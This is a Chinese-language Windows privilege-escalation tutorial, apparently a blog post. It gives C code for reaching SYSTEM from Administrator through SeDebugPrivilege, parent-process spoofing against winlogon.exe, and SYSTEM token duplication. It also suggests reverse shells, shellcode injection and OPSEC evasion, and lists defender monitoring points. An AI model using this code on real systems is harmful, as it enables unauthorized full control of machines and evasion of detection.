内核攻防-(1)高权限继承
字数 1569 2025-08-23 18:31:25
Windows 高权限继承技术详解
背景介绍
在Windows系统中,从Administrator权限提升到System权限是渗透测试和后渗透阶段的重要技术。传统方法如令牌窃取和"土豆"提权(利用SeImpersonatePrivilege)较为常见,而本文介绍的是基于高权限进程继承的技术,为后续内核攻防打下基础。
方法一:通过父进程继承权限
1. 启用SeDebugPrivilege权限
功能:获取调试权限以操作高权限进程
实现步骤:
- 使用
OpenProcessToken()获取当前进程的访问令牌 - 通过
LookupPrivilegeValue()查找SeDebugPrivilege的LUID值 - 调用
AdjustTokenPrivileges()启用该权限
2. 查找SYSTEM权限进程PID
功能:定位高权限进程(如winlogon.exe)
实现步骤:
- 使用
CreateToolhelp32Snapshot()创建进程快照 - 通过
Process32First()和Process32Next()遍历进程 - 使用
_wcsicmp()匹配目标进程名(如winlogon.exe)
3. 打开SYSTEM进程句柄
功能:获取高权限进程的操作句柄
实现步骤:
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!pHandle) {
// 错误处理
}
4. 初始化STARTUPINFOEX结构体
功能:准备进程创建参数
实现步骤:
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 获取属性列表所需内存
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
5. 设置父进程属性
功能:指定新进程的父进程
实现步骤:
if (!UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&pHandle,
sizeof(HANDLE),
NULL,
NULL
)) {
// 错误处理
}
6. 创建新进程
功能:生成具有SYSTEM权限的新进程
实现步骤:
CreateProcessA(
NULL,
"C:\\Windows\\system32\\cmd.exe",
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&si.StartupInfo,
&pi
);
方法二:通过令牌复制创建进程
1. 启用SeDebugPrivilege
同方法一第一步
2. 查找SYSTEM进程PID
同方法一第二步
3. 打开SYSTEM进程句柄
HANDLE hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPid);
4. 复制SYSTEM令牌
功能:获取并复制高权限令牌
实现步骤:
HANDLE hToken;
OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken);
HANDLE hDupToken;
DuplicateTokenEx(
hToken,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&hDupToken
);
5. 使用令牌创建进程
功能:直接以SYSTEM权限启动新进程
实现步骤:
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessWithTokenW(
hDupToken,
LOGON_WITH_PROFILE,
L"C:\\Windows\\System32\\cmd.exe",
NULL,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);
两种方法比较
| 特性 | 方法一(CreateProcessA) | 方法二(CreateProcessWithTokenW) |
|---|---|---|
| 权限继承方式 | 依赖父进程权限 | 直接指定令牌 |
| 可靠性 | 可能受父进程权限影响 | 更直接可靠 |
| 复杂度 | 需要设置进程属性 | 需要复制令牌 |
| 适用场景 | 父进程确定是SYSTEM | 需要确保SYSTEM权限 |
进阶应用
在实际渗透中,可以结合以下技术:
- 反弹Shell:将生成的cmd替换为反弹shell
- 进程注入:使用
VirtualAllocEx、WriteProcessMemory和CreateRemoteThread将shellcode注入SYSTEM进程 - OPSEC考虑:避免直接生成明显进程,可采用更隐蔽的方式
推荐项目参考:SeDebugAbuse - 通过SeDebugPrivilege获取SYSTEM权限
注意事项
- 程序需要以管理员权限运行
- 注意错误处理,特别是权限相关的错误(ERROR_ACCESS_DENIED)
- 使用后及时清理句柄,避免资源泄露
- 在防御方,可监控以下行为:
- SeDebugPrivilege启用
- 高权限进程的令牌复制
- 异常的父进程继承关系
总结
高权限继承技术是Windows提权的重要手段,理解其原理和实现方式对于红队操作和蓝队防御都至关重要。方法二(CreateProcessWithTokenW)通常更为可靠,而方法一在特定场景下也有其应用价值。在实际使用中,应根据具体环境和需求选择合适的技术方案。